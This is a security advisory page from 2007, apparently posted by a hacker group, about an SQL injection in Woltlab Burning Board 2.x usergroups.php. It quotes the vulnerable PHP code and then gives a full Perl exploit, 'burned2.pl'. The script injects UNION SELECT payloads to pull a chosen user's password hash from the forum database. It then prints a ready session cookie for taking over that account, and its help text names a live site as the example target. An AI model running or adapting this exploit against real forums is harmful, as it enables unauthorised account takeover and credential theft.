Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16354
HistoryMar 15, 2007 - 12:00 a.m.

Woltab Burning Board SQL Injection usergroups.php

2007-03-1500:00:00
vulners.com
19

Hi,

A new SQL Injection in the wbb2.x

[CODE]

/delete applications (groupleader)/

if ($action == 'groupleaders_deleteapplications') {

$deleteids = array();

if (is_array($_POST['applicationids'])) while (list($applicationid, $val) = each($_POST['applicationids'])) if ($val == 1) $deleteids[] = $applicationid;

if ($deleteids) {

    $result = $db->query("SELECT a.applicationid,gl.userid FROM bb".$n."_applications a LEFT JOIN bb".$n."_groupleaders gl ON (gl.groupid=a.groupid) WHERE applicationid IN(".implode(",", $deleteids).") AND gl.userid='$wbbuserdata[userid]'");

    while ($row = $db->fetch_array($result)) if ($row['userid'] == $wbbuserdata['userid']) $db->unbuffered_query("DELETE FROM bb".$n."_applications WHERE applicationid='$row[applicationid]'", 1);

}

header("Location: usergroups.php?action=groupleaders" . $SID_ARG_2ND_UN);

exit;

}

[/CODE]

[EXPLOIT]

#!/usr/bin/perl

Woltlab Burning Board 2.X usergroups.php SQL Injection exploit - burned2.pl

written by x666 <[email protected]>

jmp-esp.kicks-ass.net;blueshisha.chills.it

SR-CREW

should work on every wbb regardless of php settings.

use strict;

use warnings;

use LWP::UserAgent;

use HTTP::Response;

use HTTP::Status;

use Getopt::Std;

getopt('uiUpAcC');

our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_C );

my $target = shift;

sub do_request($$);

if ( !$target ) { &HELP_MESSAGE; }

if ( !$opt_U && !$opt_C) { &HELP_MESSAGE; }

my ( $host, $folder );

if ( $target =~ /(?:http:\/\/)?([\w\.\-\_])(\/.)?/ ) {

$host = $1;

$folder = &#40; $2 ? $2 : &#39;/&#39; &#41;;

if &#40; $folder !~ /&#92;/$/ &#41; { $folder .= &#39;/&#39;; }

$target = &quot;http://$host$folder&quot; . &#39;usergroups.php&#39;;

}

else { &HELP_MESSAGE; }

my $ip = ( $opt_i ? $opt_i : '127.0.0.1' );

my ( $userid, $userpassword, $proxy, $proxyip );

( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U;

( $proxy, $proxyip ) = split( ':', $opt_p ) if $opt_p;

my $uid = ( $opt_u ? $opt_u : 1 );

my $useragent =

( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );

my $prefix = ( $opt_c ? $opt_c : 'wbb2_' );

my $isHash = 0;

print "burned2.pl written by x666\n";

print "report errors \@ blueshisha\@safe-mail.net… thx\n";

print "[x] Attacking $target…\n";

if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; }

if ( !$opt_c ) {

my $headers = do_request( '', '' );

if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) {

$prefix = $1;

  }

    else { print $headers}

    

}



print &quot;[x] Cookie prefix: $prefix&#92;n&quot;;

print "[x] Vulnerable check:";

my $answer;

my $pre;

$answer = do_request( '\'', '' );

if ( $answer =~ /FROM (.*?)_applications/ ) {

$pre = $1;

print &quot; Vulnerable&#92;n&quot;;

}

elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/

or $answer =~ /Access denied/ &#41;

{

print &quot; No Idea&#92;n&quot;;

print &quot;[x] usergroups.php only for users,&quot;;

print &quot; wrong userdetails or wrong cookie-prefix!&#92;n&quot; if $opt_U;





exit;

}

else {

print &quot; Not Vulnerable!&#92;n&quot;;

    print $answer;

exit;

}

print "[x] Unleashing black magic…\n";

$answer = do_request(

&#39;/**/UNIoN/**/ SeLeCT/**/ CoNcAT&#40;password,CHAR&#40;39&#41;&#41;,&#39;.$userid.&#39; FROM &#39;.$pre.&#39;_users wHere userid&#37;3D&#39;.$uid.&#39;/*&#37;5D&#39;,&#39;&#39;

);

if ( $answer =~ /${folder}usergroups.php/ and $answer =~ /([a-f0-9]{32})/ ) {

print &quot;[x] Looks good!&#92;n&quot;;

print &quot;[x] Userid: $uid&#92;n&quot;;

print &quot;[x] Hash: $1&#92;n&quot;;

if &#40; !$opt_C &#41; {

    print

"[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n";

}

}

else {

print &quot;[x] Looks bad!&#92;n&quot;;

print $answer;

}

sub HELP_MESSAGE() {

print &quot;burned2.pl written by x666&#92;n&quot;

  . &quot;perl $0 [options] url&#92;n&quot;

  . &quot;examples:&#92;n&quot;

  . &quot;perl $0 -U 10:123456 woltlab.de/de/forum/&#92;n&quot;

  . &quot;perl $0 -u 2 -i 127.0.0.2 -U 10:123456 woltlab.de/de/forum/&#92;n&quot;

  . &quot;overwrite -c only when the auto-check &quot;

  . &quot;gives you a false result&#92;n&quot;

  . &quot;use -C when you need some special cookies&#92;n&quot;

  . &quot;options :&#92;n-u userid of victim [1]&#92;n&quot;

  . &quot;-i faked client-ip [127.0.0.1]&#92;n&quot;

  . &quot;-U userid:password or userid:pwhash [none]&#92;n&quot;

  . &quot;-p proxyip:proxyport [none]&#92;n&quot;

  . &quot;-A user-agent [firefox 1.5.09]&#92;n&quot;

  . &quot;-c cookie-prefix [auto-check]&#92;n&quot;

  . &quot;-C raw cookie&#92;n&quot;;
  

exit;

}

sub do_request($$) {

my $string   = shift;

my $otherurl = shift;

if &#40;$otherurl&#41; { $target = &quot;http://$host$folder&quot; . $otherurl; }

else { $target = &quot;http://$host$folder&quot; . &#39;usergroups.php&#39; }

$string = &#39;/*&#39; if &#40; !$string &#41;;

my $ua = LWP::UserAgent-&gt;new;

if &#40;$proxy&#41; { $ua-&gt;proxy&#40; &#39;http&#39;, &quot;http://$proxy:$proxyip/&quot; &#41;; }

my $request = new HTTP::Request&#40; &#39;POST&#39;, $target &#41;;

$request-&gt;content&#40; &#39;applicationids&#37;5B0&#41;&#39; . $string . &#39;&#37;5D=1&#39;

      . &#39;&amp;action=groupleaders_deleteapplications&#39;&#41;;

$request-&gt;authorization_basic&#40;&#39;projectb&#39;, &#39;neustart&#39;&#41;;      

$request-&gt;content_type&#40;&#39;application/x-www-form-urlencoded&#39;&#41;;

$request-&gt;header&#40; &#39;User-Agent&#39; =&gt; $useragent &#41;;

    

if &#40;$opt_U&#41; {

    my $userhash;

    if &#40; !$isHash &#41; { $userhash = md5&#40;$userpassword&#41;; }

    else { $userhash = $userpassword; }

    my $cookie = $prefix

      . &#39;userid=&#39;

      . $userid . &#39;;&#39;

      . $prefix

      . &#39;userpassword=&#39;

      . $userhash;



    $request-&gt;header&#40; &#39;Cookie&#39; =&gt; $cookie &#41;;

}

elsif &#40;$opt_C&#41; {

    $request-&gt;header&#40; &#39;Cookie&#39; =&gt; $opt_C &#41;;

    $userid=3265;
}

$request-&gt;header&#40; &#39;Client-Ip&#39; =&gt; $ip &#41;;

my $response = $ua-&gt;request&#40;$request&#41;;

my $body     = $response-&gt;content;

my $headers  = $response-&gt;headers_as_string;



$body = $response-&gt;error_as_HTML if &#40; $response-&gt;is_error &#41;;



return $headers if &#40; $string eq &#39;/*&#39; and !$response-&gt;is_error &#41;;

return $body;

}

MD5 Code ripped from Libwhisker for bigger portability

thx rfp :)

{

my &#40; @S, @T, @M &#41;;

my $code = &#39;&#39;;



sub md5 {

    return undef if &#40; !defined $_[0] &#41;;    # oops, forgot the data

    my $DATA = _md5_pad&#40; $_[0] &#41;;

    &amp;_md5_init&#40;&#41; if &#40; !defined $M[0] &#41;;

    return _md5_perl_generated&#40; &#92;$DATA &#41;;

}



sub _md5_init {

    return if &#40; defined $S[0] &#41;;

    my $i;

    for &#40; $i = 1 ; $i &lt;= 64 ; $i++ &#41; {

        $T[ $i - 1 ] = int&#40; &#40; 2**32 &#41; * abs&#40; sin&#40;$i&#41; &#41; &#41;;

    }

    my @t = &#40; 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 &#41;;

    for &#40; $i = 0 ; $i &lt; 64 ; $i++ &#41; {

        $S[$i] = $t[ &#40; int&#40; $i / 16 &#41; * 4 &#41; + &#40; $i &#37; 4 &#41; ];

    }

    @M = &#40;

        0, 1, 2,  3,  4,  5,  6,  7,  8,  9,  10, 11, 12, 13, 14, 15,

        1, 6, 11, 0,  5,  10, 15, 4,  9,  14, 3,  8,  13, 2,  7,  12,

        5, 8, 11, 14, 1,  4,  7,  10, 13, 0,  3,  6,  9,  12, 15, 2,

        0, 7, 14, 5,  12, 3,  10, 1,  8,  15, 6,  13, 4,  11, 2,  9

    &#41;;

    &amp;_md5_generate&#40;&#41;;

    my $TEST = _md5_pad&#40;&#39;foobar&#39;&#41;;



    if &#40; _md5_perl_generated&#40; &#92;$TEST &#41; ne

        &#39;3858f62230ac3c915f300c664312c63f&#39; &#41;

    {

        die&#40;&#39;Error: MD5 self-test not successful.&#39;&#41;;

    }

}



sub _md5_pad {

    my $l = length&#40; my $msg = shift&#40;&#41; . chr&#40;128&#41; &#41;;

    $msg .= &quot;&#92;0&quot; x &#40; &#40; $l &#37; 64 &lt;= 56 ? 56 : 120 &#41; - $l &#37; 64 &#41;;

    $l = &#40; $l - 1 &#41; * 8;

    $msg .= pack &#39;VV&#39;, $l &amp; 0xffffffff, &#40; $l &gt;&gt; 16 &gt;&gt; 16 &#41;;

    return $msg;

}



sub _md5_generate {

    my $N = &#39;abcddabccdabbcda&#39;;

    my &#40; $i, $M &#41; = &#40; 0, &#39;&#39; &#41;;

    $M    = &#39;&amp;0xffffffff&#39; if &#40; &#40; 1 &lt;&lt; 16 &#41; &lt;&lt; 16 &#41;; # mask for 64bit systems

    $code = &lt;&lt;EOT;

    sub _md5_perl_generated {

BEGIN { &#92;$^H |= 1; }; # use integer

    my &#40;&#92;$A,&#92;$B,&#92;$C,&#92;$D&#41;=&#40;0x67452301,0xefcdab89,0x98badcfe,0x10325476&#41;;

    my &#40;&#92;$a,&#92;$b,&#92;$c,&#92;$d,&#92;$t,&#92;$i&#41;;

    my &#92;$dr=shift;

    my &#92;$l=length&#40;&#92;$&#92;$dr&#41;;

    for my &#92;$L &#40;0 .. &#40;&#40;&#92;$l/64&#41;-1&#41; &#41; {

            my &#92;@D = unpack&#40;&#39;V16&#39;, substr&#40;&#92;$&#92;$dr, &#92;$L*64,64&#41;&#41;;

            &#40;&#92;$a,&#92;$b,&#92;$c,&#92;$d&#41;=&#40;&#92;$A,&#92;$B,&#92;$C,&#92;$D&#41;;

EOT

    for &#40; $i = 0 ; $i &lt; 16 ; $i++ &#41; {

        my &#40; $a, $b, $c, $d &#41; =

          split&#40; &#39;&#39;, substr&#40; $N, &#40; $i &#37; 4 &#41; * 4, 4 &#41; &#41;;

        $code .=

          &quot;&#92;$t=&#40;&#40;&#92;$$d^&#40;&#92;$$b&#92;&amp;&#40;&#92;$$c^&#92;$$d&#41;&#41;&#41;+&#92;$$a+&#92;$D[$M[$i]]+$T[$i]&#41;$M;&#92;n&quot;;

        $code .=

"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

    }

    for &#40; ; $i &lt; 32 ; $i++ &#41; {

        my &#40; $a, $b, $c, $d &#41; =

          split&#40; &#39;&#39;, substr&#40; $N, &#40; $i &#37; 4 &#41; * 4, 4 &#41; &#41;;

        $code .=

          &quot;&#92;$t=&#40;&#40;&#92;$$c^&#40;&#92;$$d&#92;&amp;&#40;&#92;$$b^&#92;$$c&#41;&#41;&#41;+&#92;$$a+&#92;$D[$M[$i]]+$T[$i]&#41;$M;&#92;n&quot;;

        $code .=

"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

    }

    for &#40; ; $i &lt; 48 ; $i++ &#41; {

        my &#40; $a, $b, $c, $d &#41; =

          split&#40; &#39;&#39;, substr&#40; $N, &#40; $i &#37; 4 &#41; * 4, 4 &#41; &#41;;

        $code .= &quot;&#92;$t=&#40;&#40;&#92;$$b^&#92;$$c^&#92;$$d&#41;+&#92;$$a+&#92;$D[$M[$i]]+$T[$i]&#41;$M;&#92;n&quot;;

        $code .=

"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

    }

    for &#40; ; $i &lt; 64 ; $i++ &#41; {

        my &#40; $a, $b, $c, $d &#41; =

          split&#40; &#39;&#39;, substr&#40; $N, &#40; $i &#37; 4 &#41; * 4, 4 &#41; &#41;;

        $code .= &quot;&#92;$t=&#40;&#40;&#92;$$c^&#40;&#92;$$b|&#40;~&#92;$$d&#41;&#41;&#41;+&#92;$$a+&#92;$D[$M[$i]]+$T[$i]&#41;$M;&#92;n&quot;;

        $code .=

"\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";

    }

    $code .= &lt;&lt;EOT;

            &#92;$A=&#92;$A+&#92;$a&#92;&amp;0xffffffff; &#92;$B=&#92;$B+&#92;$b&#92;&amp;0xffffffff;

            &#92;$C=&#92;$C+&#92;$c&#92;&amp;0xffffffff; &#92;$D=&#92;$D+&#92;$d&#92;&amp;0xffffffff;

    } # for

return unpack&#40;&#39;H*&#39;, pack&#40;&#39;V4&#39;,&#92;$A,&#92;$B,&#92;$C,&#92;$D&#41;&#41;; }

EOT

    eval &quot;$code&quot;;

}

} # md5 package container

[/EXPLOIT]

Greets,
666